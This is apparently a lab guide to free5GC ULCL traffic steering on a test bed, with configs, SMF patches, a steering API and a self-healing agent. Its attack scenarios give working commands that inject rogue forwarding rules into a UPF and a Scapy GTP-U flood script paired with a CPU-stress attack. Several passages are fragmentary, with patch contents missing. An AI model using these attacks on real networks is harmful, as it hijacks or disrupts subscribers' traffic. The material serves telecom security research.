ULCL Dynamic
Traffic Steering
This guide demonstrates how to implement Dynamic Traffic Steering in a 5G Core network using the Uplink Classifier (ULCL). With the free5GC framework, it demonstrates how to route user traffic across different Anchor UPFs efficiently, adapting to real-time requirements.
Part of the network topology implementation, we used this guide by s5uishida.
It describes a simple network
topology that uses free5GC and UERANSIM for ULCL with one I-UPF and two PSA-UPFs. We used go-upf for the implementation of the UPFs.
Topology

The VMs deployed in the setup are listed below:
| VM | IP Address | Role |
|---|---|---|
| free5gc-core | 10.160.101.137 | 5G Core (AMF, SMF, PCF, UDM, NRF, …) |
| ueransim-gnb | 10.160.101.120 | gNB simulator (UERANSIM) |
| ueransim-ue | 10.160.101.121 | UE simulator (UERANSIM) |
| i-upf | 10.160.101.143 | Intermediate / Branching UPF (ULCL node) |
| psa-upf | 10.160.101.148 | PSA anchor UPF 1 — default path |
| psa-upf2 | 10.160.101.198 | PSA anchor UPF 2 — steered path |
| server | 10.160.101.145 | Server / Data Network |
UE Details
| UE | IMSI | DNN | OP/OPc |
|---|---|---|---|
| UE | 208930000000001 | internet | OPc |
Traffic Paths
10.160.101.145/32 or dynamic API callPrerequisites
Required software versions for all VMs.
| Component | Version | Notes |
|---|---|---|
| free5GC | v3.3.0 | With SMF source patches (Section 6) |
| UERANSIM | latest | |
| gtp5g | v0.8.6 | With kernel patch (Section 5) — required on all UPF VMs |
| Go | 1.21+ | |
| Ubuntu | 20.04 / 22.04 | All VMs |
Build gogtp5g-tunnel
Run on I-UPF and PSA-UPF VMs only.
# Run on I-UPF and PSA-UPF VMs
git clone https://github.com/free5gc/go-gtp5gnl ~/go-gtp5gnl
cd ~/go-gtp5gnl/cmd/gogtp5g-tunnel
go build .
gogtp5g-tunnel
unless actively debugging.SMF Configuration
File: /home/localadmin/free5gc/config/smfcfg.yaml — see the full document for the complete YAML.
Key points:
10.61.0.0/16), ActivateTunnelAndPDR() panics.
upfcfg.yaml. N6 is only used in smfcfg.yaml.
UE Routing
File: /home/localadmin/free5gc/config/uerouting.yaml
ueRoutingInfo:
UE1:
members:
- imsi-208930000000001
topology:
- A: gNB1
B: I-UPF
- A: I-UPF
B: PSA-UPF
specificPath:
- dest: 10.160.101.145/32
path: [I-UPF, PSA-UPF]
- dest: 10.160.101.145/32
path: [I-UPF, PSA-UPF2]
- dest: 8.8.8.8/32
path: [I-UPF]
FindULCL() identifies the branching point.
gtp5g Kernel Module Patch
Apply on every UPF VM: I-UPF, PSA-UPF, and PSA-UPF2.
Patch — pdr.c (~line 308)
Rebuild and Reload
cd ~/gtp5g && make clean && make
sudo cp ~/gtp5g/gtp5g.ko /lib/modules/$(uname -r)/kernel/drivers/net/gtp5g.ko
sudo rmmod gtp5g 2>/dev/null && sudo modprobe gtp5g
lsmod | grep gtp5g
SMF Source Code Patches
Three Go source patches fixing bugs in free5GC v3.3.0 that prevent ULCL from working correctly.
Patch 1 — Fix PSA2 N3 Interface Check
Patch 2 — Fix FindULCL Nil Pointer
Patch 3 — Fix SDF Filter Direction
Rebuild SMF
cd ~/free5gc/NFs/smf
go build ./...
go build -o ~/free5gc/bin/smf ./cmd/
Dynamic Steering API
REST endpoint on the SMF that triggers live path switching via PFCP Session Modification.
api_steering.go
package sbi
import (
"net/http"
"github.com/gin-gonic/gin"
)
func (s *Server) getSteeringRoutes() []Route {
return []Route{
{ Name: "Steer Traffic", Method: http.MethodPost, Pattern: "/steer", APIFunc: s.HTTPSteerTraffic },
}
}
func (s *Server) HTTPSteerTraffic(c *gin.Context) {
s.Processor().HandleSteerTraffic(c)
}
Startup Order
sudo ip link delete upfgtp 2>/dev/null
cd ~/gtp5g/go-upf && sudo ./upf -c upfcfg.yaml &
sudo ip link delete upfgtp 2>/dev/null
cd ~/gtp5g/go-upf && sudo ./upf -c upfcfg.yaml &
sudo ip link delete upfgtp 2>/dev/null
cd ~/gtp5g/go-upf && sudo ./upf -c upfcfg.yaml &
cd ~/free5gc && ./build.sh
cd ~/UERANSIM/build
sudo ./nr-gnb -c ../config/free5gc-gnb.yaml &
cd ~/UERANSIM/build
sudo ./nr-ue -c ../config/free5gc-ue.yaml &
sleep 3 && ping -I uesimtun0 10.160.101.145 -c 3
iptables / Routing Rules
PSA-UPF (10.160.101.148)
sudo iptables -t nat -A POSTROUTING -s 10.60.0.0/16 -o <N6_IFACE> -j MASQUERADE
sudo ip route add 10.160.101.145/32 dev <N6_IFACE>
PSA-UPF2 (10.160.101.198)
sudo iptables -t nat -A POSTROUTING -s 10.60.0.0/16 -o <N6_IFACE> -j MASQUERADE
sudo ip route add 10.160.101.145/32 dev <N6_IFACE>
Server VM
sudo ip route add 10.60.0.0/16 via 10.160.101.148
sudo ip route add 10.60.0.0/16 via 10.160.101.198 metric 200
Using the Dynamic Steering API
127.0.0.2:8000. All
curl commands must be run on the core VM with sudo.
Use steer.sh script
./steer.sh 10.160.101.148 # steer to PSA-UPF
./steer.sh 10.160.101.198 # steer to PSA-UPF2
Verification Checklist
ping -I uesimtun0 10.160.101.145
— confirm packets flow before steering.sudo tcpdump -i upfgtp -n
simultaneously on both PSA-UPF VMs.sudo dmesg | tail -10 —
should NOT contain No PDR match this skb.Troubleshooting
sudo ip link delete upfgtpScenario 1 — The Invisible Redirect
A rogue PDR/FAR is injected directly into the I-UPF kernel, bypassing the SMF entirely. Traffic is silently redirected to an unauthorized PSA-UPF while the control plane remains unaware.
ping -I uesimtun0 10.160.101.145 succeeds.Phase 1 — Baseline capture
ping -I uesimtun0 10.160.101.145 -c 30
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel list far | grep -A 8 '"PeerAddr"'
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel list far > ~/baseline_far.json
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel list pdr > ~/baseline_pdr.json
Phase 2 — Attack injection
ping -I uesimtun0 10.160.101.145 -c 1000 -i 0.5
sudo tcpdump -i ens18 -n 'udp port 2152'
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel add far upfgtp 1:99 \
--action 2 \
--hdr-creation 256 2 10.160.101.198 2152
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel add pdr upfgtp 1:99 \
--pcd 1 --hdr-rm 0 --ue-ipv4 10.60.0.1 --f-teid 2 10.160.101.143 --far-id 99
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel list far | grep -A 8 '"PeerAddr"'
ping -I uesimtun0 10.160.101.145 -c 20
Phase 3 — Recovery
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel delete pdr upfgtp 1:99
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel delete far upfgtp 1:99
sudo tcpdump -i ens18 -n 'udp port 2152' -c 20
Phase 4 — Observation & Results
| Measurement | Baseline | During Attack | Recovery |
|---|---|---|---|
| Traffic Destination | 10.160.101.148 (Authorized) | 10.160.101.198 (Rogue) | 10.160.101.148 |
| SMF Awareness | Full awareness | None (blind to rogue rule) | Full awareness |
| Avg RTT | 1.385 ms | 1.477 ms | 1.385 ms |
| Packet Loss | 0% | 0% | 0% |
| CP/UP Divergence | No | Yes ⚠ | No |
Scenario 2 — ULCL Resource Exhaustion
The I-UPF is the single classification point for all UE traffic. By flooding it with crafted GTP-U packets
using real TEIDs, an attacker forces the gtp5g kernel module to evaluate its full PDR rule set
for every packet — while simultaneously exhausting CPU via stress-ng.
ping -I uesimtun0 10.160.101.145 succeeds. Attacker VM 10.160.101.202 required.
Attacker VM Setup
sudo apt update && sudo apt install -y python3-scapy tcpreplay stress-ng
python3 -c "from scapy.contrib.gtp import GTP_U_Header; print('Scapy GTP OK')"
ssh-keygen -t rsa -N "" -f ~/.ssh/id_rsa
ssh-copy-id localadmin@10.160.101.143
ssh localadmin@10.160.101.143 "echo SSH OK"
Discover Real TEIDs
sudo tshark -i ens18 -f "udp port 2152" -T fields -e gtp.teid -c 10 2>/dev/null
Create flood.py
from scapy.all import *
from scapy.contrib.gtp import GTP_U_Header
import random
IUPF_IP = "10.160.101.143"
GTP_PORT = 2152
IFACE = "ens18"
REAL_TEIDS = [0x00000001, 0x00000002]
TOTAL = 5000
print(f"[*] Preparing {TOTAL} packets...")
packets = []
for i in range(TOTAL):
pkt = (Ether() / IP(src="10.160.101.202", dst=IUPF_IP) /
UDP(sport=RandShort(), dport=GTP_PORT) /
GTP_U_Header(teid=random.choice(REAL_TEIDS)) /
IP(src="10.60.0.1", dst="10.160.101.145") /
UDP(sport=RandShort(), dport=random.randint(1024, 65535)) /
Raw(load="X" * 512))
packets.append(pkt)
loop = 0
while True:
sendpfast(packets, pps=100000, iface=IFACE)
loop += 1
print(f"[*] {TOTAL * loop} packets sent...")
Create attack.sh
#!/bin/bash
echo "[*] Attack starting from $(hostname) (10.160.101.202)"
echo "[*] Target: I-UPF (10.160.101.143)"
ssh localadmin@10.160.101.143 "stress-ng --cpu 4 --timeout 60s" &
sleep 1
sudo python3 ~/scenario_2/flood.py
Phase 1 — Baseline
while true; do
RESULT=$(curl -s -o /dev/null -w "%{time_total}" --interface uesimtun0 http://10.160.101.145/)
echo "$(date +%H:%M:%S) ${RESULT}s"; sleep 1
done
while true; do
echo -n "$(date +%H:%M:%S) I-UPF CPU: "
ssh localadmin@10.160.101.143 "top -bn1 | grep 'Cpu(s)' | awk '{print \$2}'"
sleep 2
done
./scenario_2/attack.sh
gtp5g
concentrates all processing on one core, reaching 60%+ combined kernel and interrupt load — while PSA-UPFs
remain completely idle.Scenario 3 — Intent-Based Self-Healing
The N9 link between I-UPF and PSA-UPF is subjected to a gray failure — sustained packet loss and delay that degrades user quality without triggering a full link-down event. An autonomous agent running on the core VM monitors the N9 path health via periodic ICMP probes and, upon detecting degradation, invokes the SMF steering API to relocate traffic to PSA-UPF2. The entire detect-decide-act cycle completes in under 6 seconds with zero human intervention.
i-upf and ueransim-ue must be configured.
Confirm sudo ssh localadmin@10.160.101.143 echo OK and
sudo ssh localadmin@10.160.101.121 echo OK succeed without a password prompt.
Architecture — How It Works
The agent runs on free5gc-core and SSHes into I-UPF to send 10 ICMP probe packets toward PSA-UPF every ~2
seconds. Both probe packets and UE GTP-U packets traverse the same physical interface (ens18) on
I-UPF. When tc netem is applied to ens18, it drops packets from both flows equally —
so probe loss is a reliable proxy for UE path health.
| Component | Location | Role |
|---|---|---|
| agent.py | free5gc-core | Autonomous healing agent — detects N9 degradation, triggers steering |
| measurement.py | free5gc-core | Post-processing — reads pings.txt, calculates 3-phase MOS |
| measurement_stream.py | free5gc-core | Video stream analysis — reads server-side pcap, calculates MOS from RTP sequence gaps |
| steer.sh | free5gc-core | Manual steering script — calls SMF API |
| pings.txt | ueransim-ue | Live UE ping log — ground truth for packet loss measurement |
Setup — Configure Passwordless SSH
sudo ssh-keygen -t rsa -N "" -f /root/.ssh/id_rsa
sudo ssh-copy-id localadmin@10.160.101.143
sudo ssh-copy-id localadmin@10.160.101.121
sudo ssh localadmin@10.160.101.143 echo "i-upf OK"
sudo ssh localadmin@10.160.101.121 echo "ueransim-ue OK"
agent.py
Place at ~/scenario_3/agent.py on free5gc-core. Detection logic: if ICMP probe loss ≥ 10% on
any probe cycle, immediately invoke the SMF steering API to reroute traffic to PSA-UPF2.
#!/usr/bin/env python3
import subprocess, time, re, logging
I_UPF_IP = "10.160.101.143"
UE_IP = "10.160.101.121"
MONITOR_IP = "10.160.101.148"
FAILOVER_IP = "10.160.101.198"
SUPI = "imsi-208930000000001"
STEER_URL = "http://127.0.0.2:8000/nsmf-steering/v1/steer"
LOSS_TRIGGER = 10.0
UE_PINGS_FILE = "/home/localadmin/scenario_3/pings.txt"
logging.basicConfig(level=logging.INFO, format='%(asctime)s %(message)s')
log = logging.getLogger()
def ping_loss_detail(ip):
r = subprocess.run(["ssh", f"localadmin@{I_UPF_IP}", f"ping -c 10 -i 0.2 -W 1 {ip}"],
capture_output=True, text=True)
loss = 100.0; sent = received = lost = 0; seqs = []
for line in r.stdout.splitlines():
m = re.search(r'icmp_seq=(\d+)', line)
if m: seqs.append(int(m.group(1)))
if "packet loss" in line:
p = line.split(",")
try: sent=int(p[0].strip().split()[0]); received=int(p[1].strip().split()[0]); lost=sent-received; loss=float(p[2].strip().split("%")[0])
except: pass
return loss, sent, received, lost, seqs[0] if seqs else None, seqs[-1] if seqs else None
def steer(target_ip):
for i in range(1, 21):
r = subprocess.run(["curl","-s","-v","-X","POST",STEER_URL,"-H","Content-Type: application/json","-d",f'{{"supi":"{SUPI}","targetUpf":"{target_ip}"}}'],
capture_output=True, text=True, timeout=10)
upf = re.search(r'UPF=([\d.]+)', r.stdout+r.stderr, re.IGNORECASE)
far = re.search(r'FARID=(\d+)', r.stdout+r.stderr, re.IGNORECASE)
log.info(f" Steer attempt {i}: FARID={far.group(1) if far else None} UPF={upf.group(1) if upf else None}")
if upf and upf.group(1) == target_ip:
log.info(f"SUCCESS — steered to {target_ip}"); return True
time.sleep(0.1)
return False
t_start = time.time(); first_lost = last_lost = None; total_lost = total_sent = probe_count = 0
log.info(f"Agent started — monitoring N9: {I_UPF_IP} -> {MONITOR_IP}")
while True:
loss, sent, recv, lost, fs, ls = ping_loss_detail(MONITOR_IP)
log.info(f"N9 probe: loss={loss:.1f}% sent={sent} recv={recv} lost={lost} seqs={fs}-{ls}")
if loss >= LOSS_TRIGGER:
total_lost += lost; total_sent += sent; probe_count += 1
last_lost = time.time()
if first_lost is None: first_lost = last_lost
log.warning(f"GRAY FAILURE detected! N9 loss={loss:.1f}% — healing immediately!")
t_heal = time.time()
if steer(FAILOVER_IP):
log.info(f"Time to heal: {time.time()-t_heal:.1f}s Total convergence: {time.time()-first_lost:.1f}s")
break
time.sleep(2)
ICMP Ping Runbook
sudo ./steer.sh 10.160.101.148
ping -I uesimtun0 10.160.101.121 | tee /path/to/folder/pings.txt
cd ~/scenario_3 && sudo python3 agent.py
sudo tc qdisc add dev ens18 root netem delay 15ms
# Wait 15s for clean baseline, then inject failure
sudo tc qdisc change dev ens18 root netem delay 15ms loss 20% \
&& echo "FAILURE_START: $(date '+%H:%M:%S.%3N')"
sudo tc qdisc change dev ens18 root netem delay 15ms \
&& echo "FAILURE_END: $(date '+%H:%M:%S.%3N')"
# ueransim-ue: Ctrl+C to stop ping
# i-upf: remove tc rule
sudo tc qdisc del dev ens18 root
# free5gc-core: reset path
sudo ./steer.sh 10.160.101.148
sudo python3 ~/scenario_3/measurement.py
Phase 3 — Results (ICMP)
# Agent output
2026-03-16 09:37:28 Agent started — monitoring N9: 10.160.101.143 -> 10.160.101.148
2026-03-16 09:37:46 GRAY FAILURE detected! N9 loss=30.0% — healing immediately!
2026-03-16 09:37:46 SUCCESS — steered to 10.160.101.198
2026-03-16 09:37:46 Time to heal: 0.2s Total convergence: 5.6s
# measurement.py output
PHASE 1 — Baseline loss=0.0% RTT=1.4ms MOS=4.41 Excellent
PHASE 2 — Gray Fail loss=23.1% RTT=101ms MOS=2.45 Poor
PHASE 3 — Recovery loss=0.0% RTT=1.5ms MOS=4.41 Excellent
Video Stream Variant — Full Runbook
For a more realistic QoE measurement, replace the ICMP ping with an FFmpeg RTP video stream. This variant
captures actual video packet loss across the three phases and analyses it with
measurement_stream.py.
sudo apt install -y ffmpeg. The stream uses RTP/UDP over port 5201. Stop
nginx on the server to avoid port conflicts.sudo ./steer.sh 10.160.101.148
Start this before the FFmpeg stream so no packets are missed.
sudo tcpdump -i eth0 -n udp port 5201 -w ~/stream.pcap
ffmpeg -i udp://10.160.101.145:5201 -c copy ~/output.ts 2>&1 | grep -v "^$"
The receiver listens on port 5201 and saves
the stream to output.ts. It starts silently waiting for the sender.
cd ~/scenario_3 && sudo python3 agent.py
Leave this running in its own terminal. It will print probe results every ~2 seconds.
ffmpeg -re -f lavfi -i testsrc=size=640x480:rate=30 \
-c:v libx264 -preset ultrafast -tune zerolatency \
-f rtp "rtp://10.160.101.145:5201?localaddr=10.60.0.1" \
2>&1 | grep -E "fps|bitrate|time"
Sends a synthetic 640x480 test video at 30fps
bound to the UE tunnel interface (10.60.0.1). Traffic flows: UE → I-UPF → PSA-UPF
→ Server.
Confirm the stream is flowing by checking the server receiver terminal. Verify the capture is active:
ls -lh ~/stream.pcap # file size should be growing
# Add 15ms baseline delay first
sudo tc qdisc add dev ens18 root netem delay 15ms
# Wait 10s, then inject gray failure (loss + delay)
sleep 10 && \
sudo tc qdisc add dev ens18 root netem delay 15ms loss 20% && \
echo "FAILURE_START: $(date '+%H:%M:%S.%3N')"
The 20% packet loss combined with 15ms delay triggers the agent's 10% loss threshold within 1–2 probe cycles.
Watch the agent terminal for:
GRAY FAILURE detected! N9 loss=30.0% — healing immediately!
Steer attempt 1: FARID=5 UPF=10.160.101.198
SUCCESS — steered to 10.160.101.198
Time to heal: 0.2s Total convergence: 5.6s
Once SUCCESS appears,
immediately remove the packet loss but keep the delay on i-upf:
sudo tc qdisc change dev ens18 root netem delay 15ms && \
echo "FAILURE_END: $(date '+%H:%M:%S.%3N')"
# ueransim-ue: stop FFmpeg sender
Ctrl+C
# server: stop receiver and capture
Ctrl+C # stop ffmpeg receiver
sudo pkill tcpdump
# i-upf: remove tc rule
sudo tc qdisc del dev ens18 root
# free5gc-core: reset path back to PSA-UPF
sudo ./steer.sh 10.160.101.148
# Copy pcap from server
scp localadmin@10.160.101.145:~/stream.pcap ~/scenario_3/stream.pcap
# Run analysis
sudo python3 ~/scenario_3/measurement_stream.py 2>/dev/null
Video Stream Results
Expected output from measurement_stream.py after a successful three-phase run:
==================================================
Packets Measurement Results with Phases
==================================================
PHASE 1 — Baseline (before failure)
--------------------------------------------------
Packets received : 900
Packets lost : 1
Packet loss : 0.11%
Average inter-arrival: 32.79 ms
Estimated MOS : 4.50
PHASE 2 — Gray Failure
--------------------------------------------------
Packets received : 360
Packets lost : 104
Packet loss : 22.41%
Average inter-arrival: 42.25 ms
Estimated MOS : 2.00
PHASE 3 — Recovery (after healing)
--------------------------------------------------
Packets received : 583
Packets lost : 16
Packet loss : 2.67%
Average inter-arrival: 33.71 ms
Estimated MOS : 4.00
==================================================
OVERALL
==================================================
Packets received : 1843
Packets lost : 121
Packet loss : 6.16%
Estimated MOS : 3.50
| Phase | Pkts Received | Pkts Lost | Loss % | MOS | Quality |
|---|---|---|---|---|---|
| Phase 1 — Baseline | 900 | 1 | 0.11% | 4.50 | Excellent |
| Phase 2 — Gray Failure | 360 | 104 | 22.41% | 2.00 | Poor |
| Phase 3 — Recovery | 583 | 16 | 2.67% | 4.00 | Good |
| Overall | 1843 | 121 | 6.16% | 3.50 | Fair |
Timeline showing the process of the agent:
2026-03-27 10:35:18,548 Agent started — monitoring N9: 10.160.101.143 -> 10.160.101.148
2026-03-27 10:35:20,893 N9 loss=0.00% sent=10 received=10 lost=0 seqs=1-10
2026-03-27 10:35:25,217 N9 loss=0.00% sent=10 received=10 lost=0 seqs=1-10
2026-03-27 10:35:29,553 N9 loss=0.00% sent=10 received=10 lost=0 seqs=1-10
2026-03-27 10:35:33,909 N9 loss=0.00% sent=10 received=10 lost=0 seqs=1-10
2026-03-27 10:35:38,245 N9 loss=0.00% sent=10 received=10 lost=0 seqs=1-10
2026-03-27 10:35:42,573 N9 loss=0.00% sent=10 received=10 lost=0 seqs=1-10
2026-03-27 10:35:46,917 N9 loss=0.00% sent=10 received=10 lost=0 seqs=1-10
2026-03-27 10:35:53,284 N9 loss=10.00% sent=10 received=9 lost=1 seqs=1-10
2026-03-27 10:35:53,284 GRAY FAILURE detected! loss=10.0%
2026-03-27 10:35:59,341 N9 loss=20.00% sent=10 received=8 lost=2 seqs=2-10
2026-03-27 10:35:59,341 Confirmed — healing now!
2026-03-27 10:36:02,369 Steer attempt 1: FARID=5
2026-03-27 10:36:02,495 Steer attempt 2: FARID=7
2026-03-27 10:36:02,495 SUCCESS — steered to 10.160.101.198
2026-03-27 10:36:02,495 ==================================================
2026-03-27 10:36:02,495 CONVERGENCE METRICS
2026-03-27 10:36:02,496 Time to heal : 3.2s
2026-03-27 10:36:02,496 Total convergence : 9.2s
2026-03-27 10:36:02,496 ==================================================
2026-03-27 10:36:02,496 PACKET LOSS SUMMARY
2026-03-27 10:36:02,496 First loss detected : 10:35:53
2026-03-27 10:36:02,496 Last loss detected : 10:35:59
2026-03-27 10:36:02,496 =================================================
| Timestamp | Network State | Event / Action | Loss % |
|---|---|---|---|
| 10:35:18 | Steady State | Monitoring started (I-UPF → PSA-UPF) | 0.0% |
| 10:35:53 | Detection | Gray Failure Detected: First dropped packet seen | 10.0% |
| 10:35:59 | Confirmation | Failure persists; Agent triggers Healing Logic | 20.0% |
| 10:36:02 | Steering | Successful path steering | — |
| Final Outcome | Total System Convergence achieved in 9.2 seconds | Healed | |
Helpful Links
Reference documentation, configuration guides, and sample configurations used in this implementation.
| Resource | Description |
|---|---|
| free5GC User Guide | Official guide — building free5GC from scratch |
| SMF Config / ULCL | SMF userplane configuration reference including ULCL settings |
| ULCL Sample Config | free5GC & UERANSIM sample configuration for ULCL |
| ULCL — I-UPF + 2 PSA-UPFs | Sample config for ULCL with one I-UPF and two PSA-UPFs — the topology used in this guide |
| Misc Mobile Network Configs | Sample configurations and miscellaneous resources for mobile network setups |